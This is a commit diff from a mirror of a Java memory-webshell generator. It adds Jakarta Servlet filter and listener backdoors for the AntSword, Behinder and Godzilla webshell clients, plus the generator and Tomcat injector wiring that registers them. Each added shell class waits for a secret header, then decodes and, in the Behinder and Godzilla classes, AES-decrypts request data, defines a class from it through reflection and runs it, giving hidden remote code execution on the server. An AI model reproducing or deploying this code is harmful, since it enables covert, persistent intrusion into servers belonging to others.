mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
This commit is contained in:
@@ -44,6 +44,11 @@ public class AntSwordGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaFilter implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = doBase64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordJakartaListener implements ServletRequestListener {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
response.flushBuffer();
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package jmg.antsword.util;
|
||||
|
||||
import jmg.antsword.memshell.AntSwordFilter;
|
||||
import jmg.antsword.memshell.AntSwordJakartaFilter;
|
||||
import jmg.antsword.memshell.AntSwordJakartaListener;
|
||||
import jmg.antsword.memshell.AntSwordListener;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
@@ -31,9 +33,13 @@ public class ShellUtil {
|
||||
static {
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
|
||||
Map<String, String> antSwordMap = new HashMap();
|
||||
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||
}
|
||||
|
||||
|
||||
@@ -44,6 +44,11 @@ public class BehinderGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class BehinderJakartaFilter extends ClassLoader implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderJakartaFilter() {
|
||||
}
|
||||
|
||||
public BehinderJakartaFilter(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
|
||||
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
|
||||
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
|
||||
// session.putValue("u", this.pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
public BehinderJakartaListener() {
|
||||
}
|
||||
|
||||
public BehinderJakartaListener(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
// session.putValue("u", pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,6 @@
|
||||
package jmg.behinder.util;
|
||||
|
||||
import jmg.behinder.memshell.BehinderFilter;
|
||||
import jmg.behinder.memshell.BehinderInterceptor;
|
||||
import jmg.behinder.memshell.BehinderListener;
|
||||
import jmg.behinder.memshell.*;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.HashMap;
|
||||
@@ -33,11 +31,15 @@ public class ShellUtil {
|
||||
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
|
||||
|
||||
Map<String, String> behinderMap = new HashMap();
|
||||
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
|
||||
|
||||
}
|
||||
|
||||
+5
-1
@@ -21,6 +21,10 @@
|
||||
<artifactId>spring-webflux</artifactId>
|
||||
<version>5.3.29</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>jakarta.servlet</groupId>
|
||||
<artifactId>jakarta.servlet-api</artifactId>
|
||||
<version>5.0.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</project>
|
||||
|
||||
@@ -25,6 +25,8 @@ public class Constants {
|
||||
|
||||
public static final String SHELL_LISTENER = "Listener";
|
||||
public static final String SHELL_FILTER = "Filter";
|
||||
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String SHELL_VALVE = "Valve";
|
||||
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
||||
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
||||
|
||||
@@ -59,6 +59,8 @@ public class InjectorUtil {
|
||||
Map<String, String> tomcatMap = new HashMap();
|
||||
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
||||
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
||||
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
|
||||
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
|
||||
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
||||
|
||||
|
||||
|
||||
@@ -54,6 +54,11 @@ public class GodzillaGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
package jmg.godzilla.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
|
||||
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
static {
|
||||
md5 = md5(pass + key);
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
md5 = md5(pass + key);
|
||||
}
|
||||
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static String md5(String s) {
|
||||
String ret = null;
|
||||
try {
|
||||
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||
m.update(s.getBytes(), 0, s.length());
|
||||
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||
} catch (Exception var3) {
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
|
||||
// f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
package jmg.godzilla.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
|
||||
/**
|
||||
* @author pen4uin
|
||||
* @time 2024/8/25 14:25
|
||||
*/
|
||||
|
||||
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
static String md5;
|
||||
public static String cs;
|
||||
|
||||
static {
|
||||
md5 = md5(pass + key);
|
||||
cs = "UTF-8";
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener(ClassLoader z) {
|
||||
super(z);
|
||||
md5 = md5(pass + key);
|
||||
cs = "UTF-8";
|
||||
}
|
||||
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
// f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
// 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception var8) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public static String md5(String s) {
|
||||
String ret = null;
|
||||
try {
|
||||
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||
m.update(s.getBytes(), 0, s.length());
|
||||
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||
} catch (Exception var3) {
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,7 @@
|
||||
package jmg.godzilla.util;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.godzilla.memshell.GodzillaFilter;
|
||||
import jmg.godzilla.memshell.GodzillaInterceptor;
|
||||
import jmg.godzilla.memshell.GodzillaListener;
|
||||
import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod;
|
||||
import jmg.godzilla.memshell.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -35,12 +32,17 @@ public class ShellUtil {
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
|
||||
